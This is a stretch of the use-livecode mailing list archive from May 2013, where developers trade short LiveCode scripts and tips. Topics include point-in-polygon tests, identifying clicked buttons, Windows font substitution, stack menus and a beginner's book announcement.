<51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> Message-ID: <8D02A9A2EF784D8-1DFC-3071D@webmail-d294.sysops.aol.com> What Geoff said. Another way is: on mouseMove if the mouseloc is within the rect of grc 1 then put the mouseColor end mousemove The "mouseColor" is a function that works only on the properties of the current mouseLoc. It has one advantage in that it can tell when the mouse is outside the rect, inside the rect, or inside an opaque graphic within that rect. Craig Newman -----Original Message----- From: Geoff Canyon To: How to use LiveCode Sent: Wed, May 29, 2013 11:35 am Subject: Re: Point in Poly On Wed, May 29, 2013 at 9:44 AM, Devin Asay wrote: > Have you tried the within() function? It works the way you describe for > images, but I'm not sure about graphics objects. This works for graphics objects as well, as long as their opaque is true. within(grc 1,the loc of btn 1) -- true if the point is within the actual graphic, not just the rect. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From gspearson at gmail.com Wed May 29 11:44:19 2013 From: gspearson at gmail.com (Graham Pearson) Date: Wed, 29 May 2013 11:44:19 -0400 Subject: Detect Name of Button on Mouse Click Message-ID: <51A62253.40504@gmail.com> Looking for a way to detect which button was clicked by the user and retrieve the name field of this so based on the button different actions can be performed. Each button was placed on the card using the create invisible button command and after placing at a specific location, setting the label the visibility of the button was set to true. From dsc at swcp.com Wed May 29 11:44:53 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 29 May 2013 09:44:53 -0600 Subject: Point in Poly In-Reply-To: References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> Message-ID: <0FA5B870-3EF1-4AFC-A820-64BBE1748D28@swcp.com> I like the idea of trying to get within() to work. But if that does not work, try computing. Consider a horizontal line through the point. Find the points where it crosses the line segments of the sides. (Take care of the special case of a line segment being on your horizontal line.) Count the points to the left of your point. If it is odd, then the point is inside. Dar On May 29, 2013, at 8:17 AM, Ray Horsley wrote: > Is there a way to determine if a point is inside of a polygon graphic, and not necessarily inside the graphic's containing rectangle? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Wed May 29 11:46:50 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 29 May 2013 09:46:50 -0600 Subject: Detect Name of Button on Mouse Click In-Reply-To: <51A62253.40504@gmail.com> References: <51A62253.40504@gmail.com> Message-ID: look at "the target" in the dictionary. On Wed, May 29, 2013 at 9:44 AM, Graham Pearson wrote: > Looking for a way to detect which button was clicked by the user and > retrieve the name field of this so based on the button different actions > can be performed. > > Each button was placed on the card using the create invisible button > command and after placing at a specific location, setting the label the > visibility of the button was set to true. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gcanyon at gmail.com Wed May 29 11:53:21 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 29 May 2013 10:53:21 -0500 Subject: Point in Poly In-Reply-To: <0FA5B870-3EF1-4AFC-A820-64BBE1748D28@swcp.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <0FA5B870-3EF1-4AFC-A820-64BBE1748D28@swcp.com> Message-ID: On Wed, May 29, 2013 at 10:44 AM, Dar Scott wrote: > Consider a horizontal line through the point. Find the points where it > crosses the line segments of the sides. (Take care of the special case of > a line segment being on your horizontal line.) Count the points to the > left of your point. If it is odd, then the point is inside. Ah, the CS 202 solution -- I was wondering if anyone would bring this up. You're giving me flashbacks, Dar ;-) From revolution at derbrill.de Wed May 29 11:56:00 2013 From: revolution at derbrill.de (Malte Brill) Date: Wed, 29 May 2013 17:56:00 +0200 Subject: Point in Poly In-Reply-To: References: Message-ID: Of course you might also want to take a look at the animationEngine sourcecode, which has a function for that. ;-) Cheers, Malte -- derbrill IT-service Malte Pfaff-Brill Tanneneck 2, d-24790 Ostenfeld Tel: +49 4331-337 640 0 eMail: info at derbrill.de web: http://www.derbrill.de Steuernummer: 28 015 03865 VAT ID: DE223571286 From irog at mac.com Wed May 29 12:07:50 2013 From: irog at mac.com (Roger Guay) Date: Wed, 29 May 2013 09:07:50 -0700 Subject: Point in Poly In-Reply-To: References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> Message-ID: <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> What's wrong with "intersect(grc "pointThing", grc "polyThing", pixels)"? Assuming opaque polygon, of course. Roger On May 29, 2013, at 7:17 AM, Ray Horsley wrote: > Is there a way to determine if a point is inside of a polygon graphic, and not necessarily inside the graphic's containing rectangle From richmondmathewson at gmail.com Wed May 29 12:26:11 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 19:26:11 +0300 Subject: revFontLoad, Unicode and Windows post-XP ? In-Reply-To: <51A5F504.3040208@warrensweb.us> References: <51A5EFFB.3030603@gmail.com> <51A5F504.3040208@warrensweb.us> Message-ID: <51A62C23.8060601@gmail.com> On 05/29/2013 03:31 PM, Warren Samples wrote: > On 05/29/2013 07:09 AM, Richmond wrote: >> >> Those chars that are in the standard Unicode places are substituted for >> a standard Windows-native font, >> but those in the PPU area are left as they are, kerning rules in either >> the font or inwith Livecode itslef are over-ridden by Windows; something >> that does not happen with Macintosh, Linux or Windows XP. >> >> From my point of view, at least, this is a "show stopper" for Windows >> V, 7 and 8. >> >> I have been digging around in the LC Documentation and found >> 'revFontLoad' which looks >> as though it might be a possibility, except that it seems to rely on >> absolute paths, when one cannot rely >> on an end-user putting one's homegrown font exactly where one wants it >> to be. >> >> I would be grateful if anybody who has run up against this or similar >> problems and has found a way to circumvent them could let me (and the >> use-list!) know of how they coped with this. >> >> Richmond. > > > Richmond, you've been trying get help with this for some time now and > I don't recall seeing anyone respond with anything really helpful for > you. I suspect that it's because your project and your problem are > rather specialized. What happens if you use your font in some other > app? Does it work as you would expect it to in other apps or do you > get the same substitutions? Is it a LiveCode issue or maybe a Windows > issue? Does using revFontLoad resolve the problem on a test machine? I installed my font in C:/Windows/Fonts/ and then put this in my openStack script: revFontLoad "C:/Windows/Fonts/XXX.ttf" and Flipping Windows still substitutes its own Flipping Font and its own Flipping kerning rules because it always overrides this sort of thing. [ 'Flipping' may, just possibly, be a synonym for another word that starts with F ] One of the very many reasons why I use Linux and Macintosh. _____________________________________________ Obviously, somewhere down the line, Microsoft (as usual) decided they wanted to enforce their "one size fits all" policy with Unicode fonts and how they behave. -------------------------------------------------------------- My program over-rides 'standard' kerning rules for Devanagari script because to function the way it does that is a necessity. Apple don't enforce any rules (i.e. their Devanagari rules go to sleep once my program wakes up), and Linux probably doesn't have any rules (Yay!!!). This is the reason why, when I saw Windows 3.1 versus Mac OS 7.0 in 1993 I went for Macintosh, and the reason why, when I found I could no longer keep up with the vast prices Apple are asking for their hardware I went for Linux rather than Windows. The problem ( and it is a problem) is that something like 90% of potential end-users are running a version of Windows on their machines. While, right now, this may be a problem just for me, sooner or later somebody else using Livecode is going to come up against the same show stopper. And while it is really very easy to say "bu**er Microsoft", confining one's output to Macintosh and Linux alone is, well, confining :( > > If you install the font using a script, you should be able to control > where it goes. Why not out install it where Windows expects user > installed fonts to be? Perhaps you could find a a utility to make a > proper Windows installer and have it put your font where it needs to go? > > Good luck! > > Warren > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Wed May 29 12:27:58 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 29 May 2013 10:27:58 -0600 Subject: Point in Poly In-Reply-To: <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> Message-ID: It seems "opaque" has come up several times. I wonder if that can be set temporarily inside lock screen and get the right results for polygons that are not opaque. Dar On May 29, 2013, at 10:07 AM, Roger Guay wrote: > What's wrong with "intersect(grc "pointThing", grc "polyThing", pixels)"? Assuming opaque polygon, of course. > > Roger > > > On May 29, 2013, at 7:17 AM, Ray Horsley wrote: > >> Is there a way to determine if a point is inside of a polygon graphic, and not necessarily inside the graphic's containing rectangle > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Wed May 29 12:33:20 2013 From: irog at mac.com (Roger Guay) Date: Wed, 29 May 2013 09:33:20 -0700 Subject: Point in Poly In-Reply-To: References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> Message-ID: What a cool idea! I also wonder if blending will work? I'm going to go play. Thanks! On May 29, 2013, at 9:27 AM, Dar Scott wrote: > I wonder if that can be set temporarily inside lock screen and get the right results for polygons that are not opaque. From richmondmathewson at gmail.com Wed May 29 12:35:43 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 19:35:43 +0300 Subject: Point in Poly In-Reply-To: References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> Message-ID: <51A62E5F.3050706@gmail.com> Well: I made a stack with a regular polygon shape (7 sides) filled with a very 'fetching' green, and a field called "INN", and put this script into the graphic: on mouseWithin put the mouseColor into fld "INN" end mouseWithin and . . . when the mouse was WITHIN the coloured polygon I got 83,195,64 i.e. the fetching green and when inwith the bounding rect but outwith the polygon I got 237,237,237 so "there you go"; all done and dusted :) Richmond. P.S. Ooooh, and by the way Happy Campers if you don't feel in the mood for a fetching green why not go for a more moody 'Rose' or even a 'Gay Grenache'; it will go well with your scarf! From richmondmathewson at gmail.com Wed May 29 12:55:19 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 19:55:19 +0300 Subject: Detect Name of Button on Mouse Click Message-ID: <51A632F7.7010303@gmail.com> Well, I don't know what is so difficult about that: on openCard declare a global string variable (e.g. BNAME) and then have this as 2 lines of code in each button script: put the name of me into BNAME pass mouseUp and then this in your card script: on mouseUp put BNAME end mouseUp Of course, things will get very difficult indeed if you are generating buttons on the fly and you cannot work out how to inject those 2 lines of code into each of them. Richmond. From richmondmathewson at gmail.com Wed May 29 13:00:48 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 20:00:48 +0300 Subject: Detect Name of Button on Mouse Click In-Reply-To: <51A632F7.7010303@gmail.com> References: <51A632F7.7010303@gmail.com> Message-ID: <51A63440.9000504@gmail.com> On 05/29/2013 07:55 PM, Richmond wrote: > Well, I don't know what is so difficult about that: > > on openCard declare a global string variable (e.g. BNAME) > > and then have this as 2 lines of code in each button script: > > put the name of me into BNAME > pass mouseUp > > and then this in your card script: > > on mouseUp > put BNAME > end mouseUp > > Of course, things will get very difficult indeed if you are generating > buttons on the fly > and you cannot work out how to inject those 2 lines of code into each > of them. > > Richmond. One way round this is to put this sort of script in your card: on mouseDown put the target into fld "INN" end mouseDown and, always assuming your buttons don't have mouseDown scripts the name of the button clicked on will be output to the fld "INN". From dfepstein at comcast.net Wed May 29 13:26:30 2013 From: dfepstein at comcast.net (dfepstein at comcast.net) Date: Wed, 29 May 2013 17:26:30 +0000 (UTC) Subject: How Many Pages are in a PDF? In-Reply-To: Message-ID: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> 1 + (the duration of player myPlayerName)/ 75 David Epstein From bonnmike at gmail.com Wed May 29 13:27:53 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 29 May 2013 11:27:53 -0600 Subject: Point in Poly In-Reply-To: <51A62E5F.3050706@gmail.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> <51A62E5F.3050706@gmail.com> Message-ID: Is the "opaque pixelx" functionality fixed for the current version (with intersect)? It was broken in 6.0 community. On Wed, May 29, 2013 at 10:35 AM, Richmond wrote: > Well: > > I made a stack with a regular polygon shape (7 sides) > filled with a very 'fetching' green, > and a field called "INN", > and put this script into the graphic: > > on mouseWithin > put the mouseColor into fld "INN" > end mouseWithin > > and . . . > > when the mouse was WITHIN the coloured polygon I got > > 83,195,64 i.e. the fetching green > > and when inwith the bounding rect but outwith the polygon I got > > 237,237,237 > > so "there you go"; all done and dusted :) > > Richmond. > > P.S. Ooooh, and by the way Happy Campers if you don't feel in the mood for > a fetching green > why not go for a more moody 'Rose' or even a 'Gay Grenache'; it will go > well with your scarf! > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Wed May 29 13:35:05 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 20:35:05 +0300 Subject: [OT] Fighting Cancer Message-ID: <51A63C49.3060009@gmail.com> www.re-mission.net of course, apart from the valuable role it is playing, we can look at the game for ideas for work with Livecode. Richmond. From m.schonewille at economy-x-talk.com Wed May 29 13:56:46 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 29 May 2013 19:56:46 +0200 Subject: AW: [ANN] A quick update on my book In-Reply-To: <001e01ce5c65$afe5ac40$0fb104c0$@de> References: <51A35859.8040305@economy-x-talk.com> <51A5E0E7.1040806@economy-x-talk.com> <001e01ce5c65$afe5ac40$0fb104c0$@de> Message-ID: <51A6415E.1070101@economy-x-talk.com> Cool, Tiemo! You were right in time! -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/29/2013 14:11, Tiemo Hollmann TB wrote: > Ok, you finally got me with your last rush marketing :) > Tiemo > > >> -----Urspr?ngliche Nachricht----- >> Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im > Auftrag >> von Mark Schonewille >> Gesendet: Mittwoch, 29. Mai 2013 13:05 >> An: How to use LiveCode >> Betreff: Re: [ANN] A quick update on my book >> From m.schonewille at economy-x-talk.com Wed May 29 13:57:56 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 29 May 2013 19:57:56 +0200 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! Message-ID: <51A641A4.9070905@economy-x-talk.com> Hi, For now, the book "Programming LiveCode for the real Beginner" is unavailable. I'll take a day to decide what to do next. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From jacque at hyperactivesw.com Wed May 29 14:22:27 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 29 May 2013 13:22:27 -0500 Subject: Point in Poly In-Reply-To: References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> Message-ID: <51A64763.4060702@hyperactivesw.com> On 5/29/13 11:33 AM, Roger Guay wrote: > What a cool idea! I also wonder if blending will work? It does. In fact, when I need an opaque object to get info that doesn't work with transparent objects, I sometimes set the blendlevel to 1. Visually it still looks transparent but all the color/intersect/etc functions still work. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Wed May 29 14:38:34 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 29 May 2013 11:38:34 -0700 Subject: Stack menus In-Reply-To: <1AEDCC44-CCB6-4CF2-A0FE-909852DE5F16@mac.com> References: <1AEDCC44-CCB6-4CF2-A0FE-909852DE5F16@mac.com> Message-ID: Hi Paul, I think we're talking about different things here, probably because I didn't explain very well! You're referring to menus used as menu bars, I think and yes I've seen this issues you mentioned when creating those. I remember the issue of having to use a group script to handle mouseUp because they didn;t trigger in the button scripts. In fact, I think it was worse than that because there was something different about how that worked on Widnows and Macs (not sure about Linux). I can't remember for sure but I think it was something to do with using "the target" to figure out which menu the mouseUp came from. My situation though is when you use a stack as the contents of a menu button by naming the stack in the menuName property. I'm using that feature because I want to have icons in my menu items as opposed to simple text. I'm not concerned about the mouseUp issue, just taking it as another little LC oddity but I wish I could find a way to get round the background color issue. Pete lcSQL Software On Tue, May 28, 2013 at 8:33 PM, Paul Hibbert wrote: > > On 2013-05-28, at 6:57 PM, Peter Haworth wrote: > > > Putting together a stack menu for the first time and finding a couple of > > issues. > > > > The menu object is a pulldown menu with its menuName set to the stack I > > want displayed. The stack menu displays fine but a couple of. > > > > When the mouse rolls over one of the stack menu options, it's background > > becomes a very dark blue color. Looking for guidance on how to fix that > > since I've tried the obvious color settings to no avail. Maybe some > other > > property needs (un)setting? > > You can set the 'Hilite' colour for the MenuBar group to whatever colour > you prefer, unfortunately the default is dark blue and not the user's > system highlight colour. However, if you check the 'Set as stack menubar' > in the menu builder AFAIK it will then use the system highlight colour and > take on the same appearance of the system menus on Win and use the system > menubar on Mac. > > > The other issue seems to a difference in how the message path works when > I > > click on a button in the stack menu. I have a mouseUp handler in each > > stack menu button which calls a handler I have at the card level. In > > debug, I see the mouseUp handler executing but even though it executes > the > > call to the card hanlder, the card level handler never executes. > > > I've worked round it by putting the mouseUp handler at the card level, > > arguably a better solution anyway but curious about this behavior. > > It seems that mouseUp handlers don't work if the menuPick message is used > in a pulldown menu script, from what I can see you can have one or the > other, so your workaround may be the best option. > > Paul > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 29 14:44:17 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 29 May 2013 11:44:17 -0700 Subject: Check marks in menu items In-Reply-To: References: Message-ID: I guess my issue is really that there's no clear documentation that says what type of menus work with checkmarks and diamonds and which don't. When I run into something like this, my first reaction is that I must be doing something wrong because there's no documentation that says it shouldn't work. The manual just refers to them in general without mentioning they don't work in some menu types, other than a note that divider lines don't work in option menu or comboboxes in Windows). I've come across similar situations before with the descriptions of what is allowed in menus. The whole issue of tegs for example. Pete lcSQL Software On Tue, May 28, 2013 at 8:10 PM, Dar Scott wrote: > > On May 28, 2013, at 3:40 PM, Peter Haworth wrote: > > Can't get "!c" to show a check mark in front of an item in an option > menu. > > Maybe that feature doesn't work in option menus? > > If that is the case, maybe it makes sense. The check box typically > represents state. Something is on or off. Well, the option menu > represents state in itself. It is the popup menu that is an imperative of > some sort. That imperative might be to check or uncheck an item when > turning something on and off. > > Blocking the checkbox might seem a little paternalistic, though. On the > other hand, you might feel you have just been saved from some GUI mistake > and are glad LiveCode caught it for you. > > Dar > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From andrew at ctech.me Wed May 29 14:45:15 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Wed, 29 May 2013 13:45:15 -0500 Subject: [OT] DBADPL License Message-ID: I went to grab a php boilerplate app today and I saw this license on the bottom of the page. I think I might license future libraries etc in this way. Lol. LICENSE Version 1, December 2009 Copyright (C) 2009 Philip Sturgeon email at philsturgeon.co.uk Everyone is permitted to copy and distribute verbatim or modified copies of this license document, and changing it is allowed as long as the name is changed. DON'T BE A DICK PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 1. Do whatever you like with the original work, just don't be a dick. Being a dick includes - but is not limited to - the following instances: 1a. Outright copyright infringement - Don't just copy this and change the name. 1b. Selling the unmodified original with no work done what-so-ever, that's REALLY being a dick. 1c. Modifying the original work to contain hidden harmful content. That would make you a PROPER dick. 2. If you become rich through modifications, related works/services, or supporting the original work, share the love. Only a dick would make loads off this work and not buy the original works creator(s) a pint. 3. Code is provided with no warranty. Using somebody else's code and bitching when it goes wrong makes you a DONKEY dick. Fix the problem yourself. A non-dick would submit the fix back. -- Regards, Andrew Kluthe andrew at ctech.me From mpetrides at earthlink.net Wed May 29 15:04:40 2013 From: mpetrides at earthlink.net (Marian Petrides, M.D.) Date: Wed, 29 May 2013 14:04:40 -0500 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: <51A641A4.9070905@economy-x-talk.com> References: <51A641A4.9070905@economy-x-talk.com> Message-ID: Mark, For those of us who ordered the book early on, is there some way of tracking the shipment on our order? Do you know offhand how orders were shipped in the US? UPS? FedEx? USPS? Thanks Marian On May 29, 2013, at 12:57 PM, Mark Schonewille wrote: > Hi, > > For now, the book "Programming LiveCode for the real Beginner" is unavailable. I'll take a day to decide what to do next. > > > -- > Best regards, > > Mark Schonewille > From harrison at all-auctions.com Wed May 29 15:30:10 2013 From: harrison at all-auctions.com (Rick Harrison) Date: Wed, 29 May 2013 15:30:10 -0400 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: <51A641A4.9070905@economy-x-talk.com> References: <51A641A4.9070905@economy-x-talk.com> Message-ID: Hi Mark, Congratulations, on successfully selling out your copies of your book! Now you just need to decide if you are going to do a second printing. Or will the next version be an e-book instead? Let us know! Rick On May 29, 2013, at 1:57 PM, Mark Schonewille wrote: > Hi, > > For now, the book "Programming LiveCode for the real Beginner" is unavailable. I'll take a day to decide what to do next. > > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mpetrides at earthlink.net Wed May 29 15:47:36 2013 From: mpetrides at earthlink.net (Marian Petrides, M.D.) Date: Wed, 29 May 2013 14:47:36 -0500 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: References: <51A641A4.9070905@economy-x-talk.com> Message-ID: Yes, congratulations, Mark! And I hope you will go ahead with a second printing, even though I bought one the first time around. It's always good to have at least one book for beginners available to help people get started. On May 29, 2013, at 2:30 PM, Rick Harrison wrote: > Hi Mark, > > Congratulations, on successfully selling out your copies of your book! > > Now you just need to decide if you are going to do a second printing. > Or will the next version be an e-book instead? > > Let us know! > > Rick > From dixonja at hotmail.co.uk Wed May 29 15:49:13 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Wed, 29 May 2013 20:49:13 +0100 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: References: Message-ID: mmm... let's extend the area a little then... Are there any liveCode users in the South-West of England ? > From: dixonja at hotmail.co.uk > To: use-livecode at lists.runrev.com > Subject: LC Users - in the Bristol, Southhampton,Taunton triangle > Date: Wed, 29 May 2013 10:41:55 +0100 > > Are there any liveCode users within the above triangle in the UK ? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alanstenhouse at hotmail.com Wed May 29 18:19:37 2013 From: alanstenhouse at hotmail.com (Alan Stenhouse) Date: Thu, 30 May 2013 00:19:37 +0200 Subject: Droptools not working? Message-ID: G'day all I'm using DropTools (Nice tool!! :-) and it seems like I can no longer drag stuff onto a stack - the forbidden icon appears etc.... anyone come across this before? I have been using it successfully up until today... The mode of the stack that I'm dragging to is 1. Using LC 5.5.5 + OSX 10.6.8, but it happens in 5.5.3 too. Thanks in advance for any suggestions! cheers Alan :-) -- Alan Stenhouse alanstenhouse at hotmail.com Check out our apps on the App Store: BeatSpeak - the multilingual talking metronome; EV-Point - Find your nearest Electric Vehicle Recharge Station. From m.schonewille at economy-x-talk.com Wed May 29 18:26:36 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 30 May 2013 00:26:36 +0200 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: References: <51A641A4.9070905@economy-x-talk.com> Message-ID: <51A6809C.800@economy-x-talk.com> Hi Marian, No, there is no tracking service offered. I'd think that DHL delivers the book to you, but DHL might leave it to a local postal service. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/29/2013 21:04, Marian Petrides, M.D. wrote: > Mark, > For those of us who ordered the book early on, is there some way of tracking the shipment on our order? Do you know offhand how orders were shipped in the US? UPS? FedEx? USPS? > > Thanks > > Marian From kray at sonsothunder.com Wed May 29 18:34:36 2013 From: kray at sonsothunder.com (Ken Ray) Date: Wed, 29 May 2013 17:34:36 -0500 Subject: Stack menus In-Reply-To: References: Message-ID: <57BAF52C-B8C9-445E-BCB0-588CB952C517@sonsothunder.com> > When the mouse rolls over one of the stack menu options, it's background > becomes a very dark blue color. Looking for guidance on how to fix that > since I've tried the obvious color settings to no avail. Maybe some other > property needs (un)setting? Peter, I think the reason you're seeting the dark blue color is that in the stack that is popping up you have buttons that have the 'autoArm' property set to true, which causes the button to automatically hilite when the mouse passes over it in the popup stack. You can change the color by setting the 'hiliteColor' property of the button(s) that are sitting on the popup stack. Or if you don't want it to hilite at all, you can set the 'armFill' property of the button(s) to false. > The other issue seems to a difference in how the message path works when I > click on a button in the stack menu. I have a mouseUp handler in each > stack menu button which calls a handler I have at the card level. In > debug, I see the mouseUp handler executing but even though it executes the > call to the card hanlder, the card level handler never executes. > > I've worked round it by putting the mouseUp handler at the card level, > arguably a better solution anyway but curious about this behavior. OK, any script that you call from popup stack objects follow the hierarchy (AFAIK) of the menu button - that is suppose the main stack was called "Stack 1" and the popup stack was called "Stack 2": menu button (of Stack 2) card script (of Stack 2) stack script (of Stack 2) stack script (of Stack 1 - if Stack 2 is a substack of Stack 1) libraries/backscripts/etc. Note that it never triggers the card script of Stack 1. Your 'mouseUp' handler is actually trapping the mouseUp of the button that *invoked* the popup stack? not the mouseUp on the menu button you ultimately selected. So to get around this you'll need to use 'dispatch' or the equivalent from the script of the menu button in Stack 2 to the card in Stack 1, like: (script of menu button of Stack 2:) on menuPick pItemName dispatch "ItemSelected" to cd 1 of stack "Stack 1" with pItemName end menuPick Hope this helps, Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From pete at lcsql.com Wed May 29 19:14:08 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 29 May 2013 16:14:08 -0700 Subject: Stack menus In-Reply-To: <57BAF52C-B8C9-445E-BCB0-588CB952C517@sonsothunder.com> References: 